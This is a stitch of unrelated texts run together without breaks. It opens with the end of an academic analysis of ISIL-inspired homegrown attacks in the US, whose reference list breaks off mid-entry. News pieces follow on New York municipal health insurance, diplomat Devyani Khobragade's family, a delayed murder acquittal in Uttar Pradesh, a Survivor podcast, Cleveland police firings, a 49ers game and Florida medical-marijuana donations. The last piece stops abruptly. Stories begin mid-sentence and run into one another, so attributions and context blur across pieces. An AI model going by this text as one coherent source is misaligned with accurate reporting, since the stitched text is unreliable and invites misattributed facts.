For each of the five ISIL-connected terrorist attacks that have occurred in the US, analysis of the motives, method of radicalization and the TTPs used suggests the threat of homegrown attacks will only continue to increase as ISIL’s social media messaging campaign reaches greater numbers of potential recruits. Motives across all five cases were quite similar on the surface level; a desire to cause symbolic destruction and death among non-believers in the name of jihad. Additionally, the attempted shooting in May 2015 at a Prophet Muhammad cartoon contest in Garland, Texas gives evidence of a secondary motive - the desire to garner attention and recognition from the extremist community. On the day of the planned attack, shooter Elton Simpson posted on Twitter "“Follow @_AbuHu55ain,” prompting users to refer to the Twitter account of Junaid Hussain, a British-born foreign fighter in Syria and one of ISIL's most infamous hackers. Just over an hour before the attack began at 7 p.m., Hussain eluded to imminent violence on that same account, posting “The knives have been sharpened, soon we will come to your streets with death and slaughter!” (Callimachi 2015). Experts assess that Simpson likely urged others to follow Mr. Hussain on Twitter in order to draw broader attention to his forthcoming attack; “He wanted to make sure everyone in those circles knew what he’d done,” reported Veryan Khan, who helps run the Terrorism Research and Analysis Consortium (Callimachi 2015).
Attention-seeking motives likely grow out of a potential attacker’s desire to obtain status within extremist networks that provide a sense of community and belonging to isolated individuals. One attacker, Zale Thompson, was described as “an out-of-work recluse, who spent hours in his room on the computer browsing radical websites and occasionally left comments on Facebook and YouTube that disparaged whites and Christians and most recently supported violent jihad" (Schwirtz and Rashbaum 2014). In each of the five attacks, individuals radicalized domestically over several years, although with varying degrees of integration and involvement in online jihadist networks. Due to its widespread publicity and high-volume messaging campaign, ISIL has been able to reach larger numbers, thus increasing the risk that individuals susceptible to radicalization will plot and carry out attacks. For example, as counterterrorism experts have pointed out, the Garland, Texas case displays how “the Islamic State and its supporters use social media to cheerlead for attacks” as evidenced by the gunman’s Twitter communications with ISIL promoters (Inserra 2014). In the remaining four cases, however, there is no evidence that ISIL had established contact with the attackers, nor directed, planned or assisted in the plot.
ISIL’s ability to plant the ideological seed and foster the growth of violent jihad without tangible assistance or direct communications poses an enormous challenge to intelligence and law enforcement efforts. Aside from the Garland, Texas case, all the attackers studied self-radicalized in relative isolation, meaning there were few if any warning signs and thus little that law enforcement can do to prevent an attack. Some experts have suggested screening Google searches and social media posts for certain keywords and internet “patterns of life” in order to detect potentially nefarious activity. While this tactic would be useful in developing watch lists, it could lead to substantial false positives and more importantly, directly conflicts with the indispensable American rights of free speech and privacy. Certainly, it is not a crime to express one's beliefs even if they support extreme Islamic ideals. With that said, any explicit threat or ultimatum issued online or via social media, related to Islamic extremism or otherwise, ought to be treated as a serious threat to public safety and handled through law enforcement action.
Take the following scenario from the attack in Garland, Texas: On April 23, ten days before the attempting shooting, an account under the name of Mujahid Miski (believed to be Mohamed Abdullahi Hassan, a top recruiter for ISIL) shared a link on Twitter to a listing for the Muhammad cartoon contest and goaded his followers to attack it: “The brothers from the Charlie Hebdo attack did their part. It’s time for brothers in the #US to do their part,”...Among the nine people who retweeted his call to violence was gunman Mr. Simpson.” (Callimachi 2015). More effective methods for sifting through massive amounts of open source data and social media posts are needed in order to catch warnings and red flags evident in the weeks and days leading up to attacks. Flagged accounts could be tracked on digital watch lists monitoring open source online activity as well as attempts to purchase firearms, plane tickets, or other materials conducive to attacks. While each of these actions alone may prove circumstantial, when taken together the odds of a present threat increase dramatically.
Meanwhile, intelligence-driven policing could bring such capabilities to the tactical level to interdict attacks as new indicators emerge hours and minutes before violence. For example, minutes before arriving at the event in Garland, Simpson claimed an oath of allegiance to the leader of the Islamic State, Abu Bakr al-Baghdadi in his Tweet using the hashtag, “#texasattack: May Allah accept us as mujahedeen" (Callimachi 2015). Had Simpson been flagged after retweeting the explicit call-to-action targeting the cartoon contest, security teams in live communication with tactical intelligence operators could have been warned. If LEAs and the IC develop tools to take advantage of time-sensitive tippers and open source information, ISIL’s greatest tool could become its greatest weakness.
However, in some cases there are not sufficient warnings on social media or otherwise. The attackers responsible for the San Bernardino shootings on December 2, 2015 were by all means an average American family; Syed Farook worked at the local county health department (the target of the attack), while his wife, who had recently passed a national security background investigation to become a permanent resident in the US, stayed home with the couple’s six-month old daughter (Ahmed 2015). There were no clear indicators that the couple had extremist views, aside from later reporting that Malik had allegedly posted allegiance to ISIL on a Facebook account under an alias, and Mr. Farook had been in “touch via phone and social media with at least one person whom the FBI suspected of international terrorism” (Ahmed 2015). Two individuals quietly self-radicalized, without any evidence of direct ISIL collusion, leaving the IC or LEAs without any realistic means to detect or prevent the attack.
Overall, common trends among these five cases suggest the threat of ISIL-inspired HVE attacks will only continue to rise in frequency and perhaps magnitude as long as the organization is able to continue spreading its ideology. The threat environment will likely be characterized by attacks conducted by self-radicalized ISIL sympathizers, as opposed to operatives coordinating directly with ISIL leaders. Rather than targeting critical infrastructure, government or military facilities, the five recent cases suggest the most likely targets will be large gatherings, police officers, and/or groups that particularly offend Islamic ideology. Firearms were the weapon of choice in 80% of the cases examined: in two of the cases involving semi-automatic assault rifles, the San Bernardino and Orlando attacks, a total of 63 people were killed and another 70 injured by the shooters. This analysis creates a most likely scenario of one to two shooters bearing automatic rifles, targeting a large group gathering. However, more dangerous scenarios abound; regardless of regulations on firearms, highly-adept intelligence-led policing, or mass data collection and monitoring of social media, the increasing number of self-radicalizing individuals means a greater number of plotted attacks, leaving some bound to go undetected. With a plethora of destructive capabilities easily accessible, from firearms to homemade explosive devices, an effective preventative approach will require a strategic approach that addresses the root cause of homegrown violent extremism.
Conclusion
While some law enforcement and intelligence improvements could enhance the ability of preventing future terrorist attacks, the five cases examined in this study show that a long-term solution must be aimed at preventing self-radicalization in the first place. Reducing the attractiveness of ISIL’s extremist ideology will require a sweeping, multi-faceted counter-messaging campaign. The US and its partners in the counter-ISIL coalition must focus on targeting ISIL’s communication nodes both on the physical battlefields of Iraq and Syria as well as the virtual communes of cyberspace. This effort could be assisted by establishing and disseminating a common core narrative to emphasize 1) the coalition’s assistance and support to Muslim communities and 2) ISIL’s inadequate governance, poor defense and violent oppression of its people (Gambhir 2016). This narrative ought to be supplemented with aggressive efforts to defend against ISIL propaganda, including working with social media companies to block and remove accounts who promote violence.
Finally, doubling-down on efforts to encourage integration of Muslim immigrants into American communities, both respecting and welcoming diverse cultures, would go leaps and bounds in preventing homegrown extremism (Parker 2016). In particular, ensuring young Muslims have opportunities to find purpose and belonging in local American communities is critical in reducing the chances that they will turn to ISIL or other extremist organizations to meet these needs. Maximizing integration would not only undercut rates of radicalization, it would also assist law enforcement efforts to gain critical information from Muslim communities. Inclusion and civic engagement are the best means of ensuring all minority populations feel they can trust turning to law enforcement when in need. This, in turn, will strengthen police’s partnership with local religious communities and leaders who are absolutely critical to preventing radicalization before it can take root, and tipping off law enforcement when it does.
The rise of ISIL has substantially transformed the HVE threat environment by using social media and the internet to promulgate jihadist beliefs and encourage terrorist attacks from afar. Once these ideas are planted in the minds of vulnerable individuals who self-radicalize in quiet isolation, it can often be difficult for the IC or LEAs to detect and preempt violent plots. Because many cases are so challenging to detect, a better strategy towards securing the homeland and preventing future attacks should be directed at the ideological origins that motivate would-be HVEs. Such efforts will require a long-term dedication to maximizing social integration of Muslim communities at home, tailoring counter-messaging and targeting communications nodes abroad, and quelling the hatred and violence espoused on social media platforms in cyberspace. History has shown that following Al Qaeda and ISIL there may rise another yet-unheard of fundamentalist organization. Considering the enduring yet evolving nature of this threat, a comprehensive effort to undermine the messaging and motivation driving self-radicalized violent extremism will be the only approach sufficient in securing the American homeland for decades to come.
References
Ackerman, R. K. 2016. “Homegrown violent extremists top homeland threat list.” Signal 70(10), 16-19. Accessed August 10, 2016. http://search.proquest.com/docview/1798383790?accountid=828
Ahmed, Saeed. 2015. “Who were Syed Rizwan Farook and Tashfeen Malik?” CNN. December 4. Accessed September 4, 2010. http://www.cnn.com/2015/12/03/us/syed-farook-tashfeen-malik-mass-shooting-profile/
Bergen, Peter. 2016. “United States of Jihad: Investigating America's Homegrown Terrorists.” New York: Crown. February 2, 2016.
Borum, Randy. 2011. "Radicalization into Violent Extremism I: A Review of Social Science Theories." Journal of Strategic Security 4, no. 4 (2011): 7-36. DOI: http://dx.doi.org/10.5038/1944-0472.4.4.1
Brooks, Risa A. 2011. “Muslim “Homegrown” Terrorism in the United States: |
fewer than 100 workers from buying “stop-loss” insurance if they are self-insured.
Another barrier is the need for local employers to have ample cash reserves if they are self-insuring.
“They had to put up a lot of money in reserve and it took several years,” state Sen. Jim Seward, an Oneonta Republican who chairs the Senate Insurance committee, said of Tompkins County, one of a handful of localities that have set up shared health insurance plans.
Similar plans have been created over the years, but only after lawmakers and regulators approved them. Tompkins’ plan took three years to develop, according to a study by Cattaraugus County officials who are considering a similar move.
The study found just 10 health-insurance sharing arrangements statewide, with most being run by BOCES organizations that serve school districts or by communities that set up the programs prior to 1986 – before the current insurance regulations went into effect.
“It’s a process in name only,’’ said Kevin Cahill, a Kingston Democratic assemblyman who chairs the Assembly Insurance committee.
Moreover, there’s no guarantee that consortiums will save money for all of their members.
Smaller municipalities like Westerlo have insurance that is “community rated,” meaning the premiums are based on the characteristics of their geographic location.
Larger self-insured plans are “experience rated,” meaning their prices reflect the actual costs incurred by subscribers.
Those plans can save money if the overall claims history is modest. If not, the smaller communities may be better off on their own.
Either way, Lavigne believes small localities like Westerlo should at least have the option of joining the “experience rated” self-insured plans offered by larger employers like the county.
Colonie Democratic Assemblyman Phil Steck and Rome Republican Sen. Joe Griffo have offered proposals to let employers choose between those categories, but the legislation hasn’t moved forward.
Any measures to change the options may have greater prominence in the upcoming legislative session in January as rates continue to climb and uncertainty over Obamacare continues, Seward said.
rkarlin@timesunion.comWashington, Feb. 9: The diplomatic equivalent of a ticking time bomb has been defused in the Devyani Khobragade case with Jawaharlal Nehru University (JNU) stepping in to reunite her divided family by offering the diplomat’s husband, Aakash Singh Rathore, a job in New Delhi.
For the ministry of external affairs, the offer from JNU is a godsend. South Block has been squirming since Khobragade’s controversial departure from New York in early January because it has condoned protecting three American citizens for almost a month.
In New York, India’s permanent mission to the UN has been in a state of extreme discomfort since Khobragade’s departure because it has been sheltering these US citizens under its roof.
Khobragade’s husband is American, born in New York, and teaches at the University of Pennsylvania. He stayed with his diplomat wife on the mission premises in New York and commuted to his job in Philadelphia, about an hour’s train journey.
Inexplicably, some say undiplomatically, Khobragade chose US nationality for her two children, which was possible because of Rathore. Clearly, the couple did not want their children to grow up as Indians although their mother represented India on the international stage.
These American children, along with Rathore, have continued to stay at the permanent mission to the UN even after Khobragade left for New Delhi to escape the clutches of legal action over her maid’s complaint about salary and other employment problems.
The Indian mission to the UN is a skyscraper in Manhattan’s Turtle Bay, a stone’s throw from the world body’s headquarters. It houses almost all diplomats accredited to the mission and some senior staff of India’s consulate-general in New York. It also accommodates on four floors all the sensitive offices that deal with India’s work in the UN.
Indian establishments abroad are habitually and conventionally lax in security unlike US, Russian or Chinese diplomatic representations where a clear demarcation exists between classified or restricted areas and open sections.
In the US embassy in New Delhi, for example, even the two halves of the outer chamber of the ambassador’s office are designated as classified and non-classified.
For the last one month, the presence of Rathore and his children created an untenable situation where three unsupervised and unaccompanied US citizens had unfettered access to the entire mission building.
What Khobragade left behind in the wake of her hurried departure from New York was a situation that had no precedent in the annals of Indian diplomacy.
The ministry of external affairs has been squirming over its predicament because if it had asked Rathore and his children to vacate their flat in the mission, it was feared that Khobragade’s garrulous and activist father would have kicked up a fuss in public.
Even though Rathore is employed and in a position to support himself and his children, there would have been criticism over their “eviction” in view of the large reservoir of public sympathy for the diplomat who was mistreated by the Americans with her arrest and a strip-search by US marshals.
South Block feared that any argument that Rathore and the two children had no locus standi to stay in the mission once Khobragade’s posting in New York had ended would have carried little weight with an agitated public.
Their prolonged and unauthorised stay in diplomatic accommodation in New York would have been similar to the unauthorised occupation of bungalows in Lutyens Delhi by politicians who lose elections or cease to be ministers, a practice frowned upon by courts.
But with the offer from JNU, Rathore has told friends and acquaintances that he and the children will leave for India in a fortnight. Their decision has brought relief to South Block as well as mission officials in New York.
With Khobragade reuniting with her children and husband, an emotive aspect of the episode which cast a long shadow over Indo-US relations since December will be removed and help efforts to restore normality in bilateral ties.
Khobragade has repeatedly talked about her emotional difficulties in being away from her children since her transfer to India after securing full diplomatic immunity from the US government.
Sympathy for the divided family has been high within India and has even discomfited the Americans who had to publicly defend the actions against her as part of their jobs.
Rathore is an unusual academic and will stand out from most of his peers at JNU if he takes up his post in New Delhi as expected. He is an oenologist who formally qualified in the subject from France. Oenology is the study of wines.
His tenure at JNU, which has a reputation for radical social and political positions, may raise eyebrows. But since he has previous experience in oenology in India, expectations from his work are high.
Rathore has published a book on Indian wines and has served as an adviser to the Indian Grape Processing Board, which is part of the ministry of food processing industries. At the juncture of his diplomat wife’s arrest, Rathore was already teaching a course on “wine philosophy” in Philadelphia.QUICK PILL The case
Ram Raj, then a juvenile, was accused of murdering Krishnawati in 1979 The Bahraich sessions court tried him as an adult and convicted him in 1982
The delay
Ram Raj\'s lawyer filed an appeal in the high court in 1982 itself The case came up for hearing 33 years later, and he was exonerated in the first hearing itself
More in the story
How the police goofed up How the justice system failed Ram Raj
We've often heard that justice delayed is justice denied. On that basis, the legal system of India has certainly denied justice to one Ram Raj of Bahraich district, Uttar Pradesh.
Way back in 1982, a lower court found Ram Raj, then a juvenile, guilty of murder and sentenced him to life imprisonment. Now, 33 years later, the Lucknow Bench of the Allahabad High Court has exonerated him of the charge, and that too, in the very first hearing.
The murder of Krishnawati
The story began in the Katkuaiya village in Bahraich on 17 December 1979, when Krishnawati, 60, went missing from her house.
Her son, Barati Lal, searched but failed to find her. The following day, Barati found her body in a field in the village. Her throat had been slit and the ornaments she was wearing were missing.
Barati lodged a complaint with the police, and accused Ram Raj, also a native of Katkuaiya, of the murder. Sub-inspector Hari Nath Tiwari of Hardi police station started investigating the case, and sent the body for post-mortem.
A few samples of earth were collected from the place where the body was found. Some of the samples were stained with blood.
Ram Raj was arrested, but denied any involvement in the murder. The police also recovered the missing ornaments.
Once the investigations were completed, Ram Raj was produced in the court of the first sessions judge of Bahraich, and the trial began. The court found him guilty and sentenced him to life imprisonment on 6 May 1982.
Ram Raj, a juvenile at the time of the incident, was tried and sentenced as an adult, and his advocate decided to appeal in the high court. From time to time, the court would grant him bail. But the appeal kept lingering.
The acquittal
Finally, on 14 September 2015, justices Arvind Kumar Tripathi and Ranjana Pandya of the Lucknow Bench of the Allahabad High Court appointed advocate Rajesh Dwivedi as amicus curiae in the case.
"The first hearing took place a month after my appointment, on 13 October 2015. Ram Raj was acquitted on the very first hearing," advocate Dwivedi told Catch. "Ram Raj is presently in Bahraich jail. He will soon be released."
Dwivedi said the court did not find any merit in the prosecution's accusations and, hence, acquitted Ram Raj.
"There were several lacunae. There was no chance of the case being argued further," said Dwivedi.
Where the cops goofed up
Dwivedi said: "The police got the body examined for evidence, but the post mortem report was never presented in the lower court. The doctor who did the post mortem was never produced in court, forget being cross-examined. An unnatural death means a post mortem report. Now if the post mortem report is absent it means that no homicide has taken place. So how can Ram Raj be charged with a homicide that has not taken place?"
He added that the bloodstained samples of earth obtained by the police were never sent for forensic examination.
Ram Raj was a juvenile when the supposed murder was committed, in 1979, but was tried as an adult
"Initially, the police had said Ram Raj had used a trowel to kill Krishnawati. But the weapon could never be recovered by the police. The justices noted in their judgment that they did not see any motive behind Ram Raj killing Krishnawati," Dwivedi said.
He said there were also discrepancies between the ornaments reported missing from Krishnawati's body and those which were later recovered by the police.
Justice denied
Call it the effect of Bollywood movies, but people seem to have the wrong notion about a life imprisonment.
"People generally think life imprisonment means being in prison for 14 years. But since a 1961 judgement of the Supreme Court, life imprisonment has meant being in jail till one's last breath," Dwivedi explained.
"Ram Raj should have been tried in a court meant for juveniles, and in case he was found guilty, he should have been sent to a jail meant for juveniles. But that did not happen," he said.
For 33 years, Ram Raj has suffered from a miscarriage of justice. Now, when he gets released, he'll be over 50 years of age. His whole life has passed paying for a crime he didn't commit.Survivor 2014: Discussing Some of Survivor‘s Greatest Unsolved Mysteries[/caption]
Your off-season Survivor coverage continued this week with Rob Cesternino and Gordon Holmes taking a play off of the early 1990’s TV show Unsolved Mysteries. They discussed the biggest unsolved mysteries throughout the 28 seasons of Survivor. Gordon hoped to receive the opening disclaimer bumper a la Russell Hantz for all the f-bombs he planned to drop, but (spoiler alert) there was no cursing.
Both Gordon and Rob agreed that Unsolved Mysteries was a show they found spooky back in the day. Despite that, they forged ahead, unearthing several of the unanswered storylines from the world of Survivor. Much like the original show, they didn’t expect to come up with any definitive answers.
They start off with a mystery from Survivor: The Australian Outback. The Ogakor Tribe spotted a strange brown substance that tribe member Kel Gleason was eating, which was believed to be beef jerky. Kel claimed it was a blade of grass, and denied that it was beef jerky even at the finale. Gordon mused about many ways he’s heard of sneaking food onto the show, like sewing it into the waistband of the pants. Jeff Probst himself told Gordon that he believed Kel to have had the beef jerky. Probst also went on to tell Gordon that a contestant on a different season was caught smuggling something onto the show in their backdoor region. Rob confirmed this, knowing that it was Richard Hatch sneaking in a film canister full of matches in Survivor: All-Stars. Both Rob and Gordon believed that Kel had the beef jerky, though it remains unsolved to this day. Gordon went off of the word of Jeff Probst, while Rob heard from multiple people from that season that it was true.
The second Survivor unsolved mystery is actually several different incidents from Survivor: The Amazon. In the second episode at the women’s camp, a granola bar was found in a crate where they all stored their packs. Janet ultimately took the fall for the incident, though she had denied it. Rob, having been on the season, heard quite a few theories about this. Most intriguing perhaps was Alex Bell’s take, which was that production had planted it there for drama. Rob feels that other than Janet, there were three other potential culprits: Joanna, Jeanne and Christy.
Another mystery in the Amazon had to do with Christy’s vote at the final tribal council. She declared when voted out that she would never give the million dollars to Jenna, yet voted for her to win. The question was whether she welched or she thought she was voting against Jenna. Rob thinks it’s possible that he inadvertently fueled the rumor that she voted in mistake in an interview at the time with Howard Stern.
The guys then offered up a missing persons report: Colleen Haskell from Survivor: Borneo. After being one of the most popular people on television during her stint on the show, she rapidly ascended to leading lady in the major motion picture The Animal, alongside Rob Schneider in 2001. She was last heard working on the other side of the camera during the mid 2000’s, but since then, nothing.
Next, they went on to discuss several smaller mysteries.
Gordon shared how he had asked Jeff Probst what would actually happen in the event of a tie at the final tribal council. Probst assured him that there is a plan in place, but it wouldn’t be revealed until a tie actually happens. Both Rob and Gordon had several ideas as to how they would handle it, but this too remains a mystery.
They then tackle the question: why do Parvati and Amanda seem to not like each other? Gordon had broached the subject in an interview with Amanda after Heroes vs. Villains, and she said that they just didn’t trust each other, particularly after that season. Rob has had a chance to ask both of them this question, but had received vague answers from each.
In Survivor: Nicaragua, there was a question as to what happened with Sash and Jane. It was believed that Sash had offered to pay off Jane’s mortgage if she would throw a winning vote his way. Gordon heard that this incident may have further soured the jury against Sash, but no one has confirmed if this offer indeed happened.
Lastly, in Survivor: Cagayan, several players were referring to Woo after the season as Weasel Woo, particularly Kass and Trish. Gordon and Rob pondered whether they thought this because Woo was Tony’s right-hand man, and was a bit of a weasel himself. A straight answer to this question was never revealed either.
Anyone listening who might have insight to these unsolved mysteries is encouraged to share in the comment section on the page at robhasawebsite.com.
You can follow both Rob and Gordon on twitter: @robcesternino and @gordonholmes.
Special Thanks to Mike Moore for this week’s episode recap!
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Get 2 Weeks Free of Hulu Plus at HuluPlus.com/RobCleveland has fired six police officers involved in a 2012 shooting in which 13 cops fired nearly 140 bullets into a car occupied by two unarmed black people, BuzzFeed's Mike Hayes reported.
Among the fired cops is Michael Brelo, the only officer criminally charged for the shooting, who was acquitted by a court of two counts of voluntary manslaughter last year. Brelo came under particular criticism after the shooting for his brazen use of force: After his colleagues stopped firing, he allegedly stood on the hood of the car and fired the last shots downward into the windshield.
In total, Brelo fired 49 shots.
Related Why police so often see unarmed black men as threats
Investigators said the six police officers' firing was delayed to give time for Brelo's trial to finish.
The shooting occurred in a school parking lot after a high-speed chase, which began after cops mistook a car backfiring for a gunshot. Police killed both passengers in the car, Timothy Russell and Malissa Williams, each of whom was hit by more than 20 bullets. Officers said they thought the couple was armed.
The shooting resulted in no criminal convictions — even though it led to a federal investigation into the Cleveland Police Department. But 63 Cleveland cops were temporarily suspended, and now six cops have been fired altogether.
A Justice Department investigation found Cleveland police regularly misused force
After the shooting, the US Department of Justice conducted a sweeping investigation into the Cleveland police department.
The investigation found Cleveland police officers frequently used excessive force, including shootings and head strikes with impact weapons; unnecessary, excessive, and retaliatory force, including Tasers, chemical sprays, and their fists; and excessive force against people with mental illness or in crisis, including one situation in which officers were called exclusively to check up on someone's well-being.
Police officers also used "poor and dangerous tactics" that often put them "in situations where avoidable force becomes inevitable and places officers and civilians at unnecessary risk," according to the report.
The Justice Department attributed many of these problems to inadequate training and supervision. "Supervisors tolerate this behavior and, in some cases, endorse it," the report said. "Officers report that they receive little supervision, guidance, and support from the Division, essentially leaving them to determine for themselves how to perform their difficult and dangerous jobs."
Former US Attorney General Eric Holder, who headed the Justice Department at the time of the investigation, argued that fixing these issues is crucial for both the general public and police. "Accountability and legitimacy are essential for communities to trust their police departments, and for there to be genuine collaboration between police and the citizens they serve," he said.
Black people are much more likely to be killed by police than their white peers
An analysis of the available FBI data by Vox's Dara Lind shows that US police kill black people at disproportionate rates: Black people accounted for 31 percent of police-killing victims in 2012, even though they made up just 13 percent of the US population. Although the data is incomplete, since it's based on voluntary reports from police agencies around the country, it highlights the vast disparities in how police use force.
Black teens were 21 times as likely as white teens to be shot and killed by police between 2010 and 2012, according to a ProPublica analysis of the FBI data. ProPublica's Ryan Gabrielson, Ryann Grochowski Jones, and Eric Sagara reported: "One way of appreciating that stark disparity, ProPublica's analysis shows, is to calculate how many more whites over those three years would have had to have been killed for them to have been at equal risk. The number is jarring — 185, more than one per week."
The disparities appear to be even starker for unarmed suspects, according to an analysis of 2015 police killings by the Guardian. Racial minorities made up about 37.4 percent of the general population and 46.6 percent of armed and unarmed victims, but they made up 62.7 percent of unarmed people killed by police.
There have been several high-profile police killings since 2012 involving black suspects. In Baltimore, six police officers were indicted for the death of Freddie Gray while in police custody. In North Charleston, South Carolina, Michael Slager was charged with murder and fired from the police department after shooting Walter Scott, who was fleeing and unarmed at the time. In Ferguson, Darren Wilson killed unarmed 18-year-old Michael Brown. In New York City, NYPD officer Daniel Pantaleo killed Eric Garner by putting the unarmed 43-year-old black man in a chokehold.
One possible explanation for the racial disparities: subconscious biases. Studies show that officers are quicker to shoot black suspects in video game simulations. Josh Correll, a University of Colorado Boulder psychology professor who conducted the research, said it's possible the bias could lead to even more skewed outcomes in the field. "In the very situation in which [officers] most need their training," he said, "we have some reason to believe that their training will be most likely to fail them."
Part of the solution to this type of bias is better training that helps cops acknowledge and deal with their potential subconscious prejudices. But critics also argue that more accountability could help deter future brutality or excessive use of force, since it would make it clear that there are consequences to the misuse and abuse of police powers. Yet right now, lax legal standards make it difficult to legally punish individual police officers for use of force, even when it might be excessive.
Police only have to reasonably perceive a threat to justify shooting
Legally, what most matters in these shootings is whether police officers reasonably believed that their lives were in danger, not whether the shooting victim actually posed a threat.
In the 1980s, a pair of Supreme Court decisions — Tennessee v. Garner and Graham v. Connor — set up a framework for determining when deadly force by cops is reasonable.
Constitutionally, "police officers are allowed to shoot under two circumstances," David Klinger, a University of Missouri St. Louis professor who studies use of force, told Vox's Dara Lind. The first circumstance is "to protect their life or the life of another innocent party" — what departments call the "defense-of-life" standard. The second circumstance is to prevent a suspect from escaping, but only if the officer has probable cause to think the suspect poses a dangerous threat to others.
The logic behind the second circumstance, Klinger said, comes from a Supreme Court decision called Tennessee v. Garner. That case involved a pair of police officers who shot a 15-year-old boy as he fled from a burglary. (He'd stolen $10 and a purse from a house.) The court ruled that cops couldn't shoot every felon who tried to escape. But, as Klinger said, "they basically say that the job of a cop is to protect people from violence, and if you've got a violent person who's fleeing, you can shoot them to stop their flight."
WHAT MATTERS IS THE OFFICER'S "OBJECTIVELY REASONABLE" BELIEF THAT THERE IS A THREAT
The key to both of the legal standards — defense of life and fleeing a violent felony — is that it doesn't matter whether there is an actual threat when force is used. Instead, what matters is the officer's "objectively reasonable" belief that there is a threat.
That standard comes from the other Supreme Court case that guides use-of-force decisions: Graham v. Connor. This was a civil lawsuit brought by a man who'd survived his encounter with police officers, but who'd been treated roughly, had his face shoved into the hood of a car, and broken his foot — all while he was suffering a diabetic attack. The court didn't rule on whether the officers' treatment of him had been justified, but it did say that the officers couldn't justify their conduct just based on whether their intentions were good. They had to demonstrate that their actions were "objectively reasonable," given the circumstances and compared to what other police officers might do.
What's "objectively reasonable" changes as the circumstances change. "One can't just say, 'Because I could use deadly force 10 seconds ago, that means I can use deadly force again now,'" Walter Katz, a California attorney who specializes in oversight of law enforcement agencies, said.
In general, officers are given lot of legal latitude to use force without fear of punishment. The intention behind these legal standards is to give police officers leeway to make split-second decisions to protect themselves and bystanders. And although critics argue that these legal standards give law enforcement a license to kill innocent or unarmed people, police officers say they are essential to their safety.
For some critics, the question isn't what's legally justified but rather what's preventable. "We have to get beyond what is legal and start focusing on what is preventable. Most are preventable," Ronald Davis, a former police chief who heads the Justice Department's Office of Community Oriented Policing Services, told the Washington Post. Police "need to stop chasing down suspects, hopping fences, and landing on top of someone with a gun," he added. "When they do that, they have no choice but to shoot."
Police rarely get prosecuted for shootings
Police are very rarely prosecuted for shootings — and not just because the law allows them wide latitude to use force on the job. Sometimes the investigations fall onto the same police department the officer is from, which creates major conflicts of interest. Other times the only available evidence comes from eyewitnesses, who may not be as trustworthy in the public eye as a police officer.
"There is a tendency to believe an officer over a civilian, in terms of credibility," David Rudovsky, a civil rights lawyer who co-wrote Prosecuting Misconduct: Law and Litigation, told Vox's Amanda Taub. "And when an officer is on trial, reasonable doubt has a lot of bite. A prosecutor needs a very strong case before a jury will say that somebody who we generally trust to protect us has so seriously crossed the line as to be subject to a conviction."
If police are charged, they're very rarely convicted. The National Police Misconduct Reporting Project analyzed 3,238 criminal cases against police officers from April 2009 through December 2010. They found that only 33 percent were convicted, and only 36 percent of officers who were convicted ended up serving prison sentences. Both of those are about half the rate at which members of the public are convicted or incarcerated.
The numbers suggest that it would have been a truly rare situation if the officers who shot and killed Russell and Williams were charged and convicted of a crime. But without a conviction, the officers' firing may be the biggest form of discipline.
Watch: Why it's so important to film police49ers object to key roughing-the-passer penalty
SEATTLE — A fourth-quarter roughing-the-passer penalty hurt the 49ers far more than Seattle quarterback Russell Wilson did.
In the 49ers’ estimation, the Seahawks’ second touchdown in their 17-7 win Sunday came with gift wrapping. With his team leading 10-7 in the fourth quarter, Wilson threw an incompletion on a 3rd-and-5 at the 49ers’ 15-yard line while being pressured by safety Antoine Bethea and linebacker Nick Moody, who was flagged for roughing on what appeared to be a clean hit.
Two plays later, Wilson threw a 10-yard touchdown to Paul Richardson with 13:20 left to finish the scoring.
San Francisco head coach Jim Harbaugh, who was livid on the sideline, said after the game that he disagreed with the call, and that sentiment was echoed in the locker room.
“I think it was a bad call,” Bethea said. “It’s so up and down with those type of calls. One week, you see something, another week, you see another. … It was a tough call, crucial moment on third down.”
Said referee Ed Hochuli: “I felt that (Moody) hit the quarterback in the chest with the (crown of his helmet) and that’s a foul unless he has his face completely up. … It’s a foul. That’s why I called it.”
Carlos Hyde’s body was bent in a way that bodies aren’t meant to go in the third quarter, knocking him out of the game, but he said his injury is not as bad as it might have appeared. Carlos Hyde’s body was bent in a way that bodies aren’t meant to go in the third quarter, knocking him out of the game, but he said his injury is not as bad as it might have appeared. Photo: DEAN RUTZ / McClatchy-Tribune News Service Photo: DEAN RUTZ / McClatchy-Tribune News Service Image 1 of / 17 Caption Close 49ers object to key roughing-the-passer penalty 1 / 17 Back to Gallery
Injury report: Three starters — right tackle Anthony Davis, center Marcus Martin and cornerback Chris Culliver — were inactive because of injuries, and five more players didn’t finish the game: running backs Frank Gore (concussion) and Carlos Hyde (knee), inside linebacker Chris Borland (ankle), outside linebacker Ahmad Brooks (thumb) and tight end Garrett Celek (ankle).
In the locker room, Borland was in a walking boot and Brooks’ thumb was heavily bandaged. Hyde, whose body was bent back awkwardly in the third quarter, insisted his injury was minor.
“It wasn’t as bad as it looked,” he said. “I’ll be back next week.”
Seattle head coach Pete Carroll acknowledged that Borland’s injury on the final play of the second quarter could have set the stage for the Seahawks’ second-half success. The Seahawks had 105 of their 152 rushing yards after Borland was replaced by Moody, who didn’t play a defensive snap in the first 13 games.
“I don’t know the other guy (who) came in,” Carroll said. “I don’t know how much he’s been playing — I haven’t seen him much. Borland’s been playing great football. We knew that he was out, and that just added to the fact that we were going to run the football, anyway. He is such a good player that he makes a difference.”
Dud for Davis: After saying four days before kickoff that he is a “playmaker” who wants to be more involved in the passing game, tight end Vernon Davis didn’t get his wish.
His stat line: two targets, no catches.
It was the latest disappearing act for Davis against the Seahawks. In his past seven meetings against Seattle, he has 10 catches for 97 yards and a touchdown.
Davis had company. The 49ers’ wide receivers combined for six catches for 54 yards. Fullback Bruce Miller led the team in receptions (four) and receiving yards (56), and Celek had the longest catch (31 yards).
Eric Branch is a San Francisco Chronicle staff writer.Linda Colinderes is 67 years old and suffers from osteoporosis, osteoarthritis and chronic pain.
Linda Colinderes
“Sometimes I feel about 90. I wake up and I feel awful, awful,” Linda Colinderes told us recently.
Which is why she voted to make medical marijuana legal in Florida.
“I don’t want to have to accept that I’m going to be in pain,” she said.
Linda's pain is part of the public sympathy that propelled 71 percent of Floridians in November to approve making medical marijuana legal and accessible across the state.
But the complex details on how to get that done is now being hashed out in Tallahassee and as we uncovered, some key lawmakers in Florida's weed wars are already seeing the green from it.
Take Senator Dana Young (R-Tampa), chair of the health policy committee in charge of writing the rules on how cannabis will be regulated.
Last month she co-sponsored a bill that largely limits who can take it and who can sell it.
Since last year, we found her political action committee received $15,000 in donations from Costa Farms, one of the state's (7) already approved and licensed dispensaries.
Senator Dana Young (R) Tampa
Donations from Costa Farms to Senator Dana Young's PAC, Friends of Dana Young
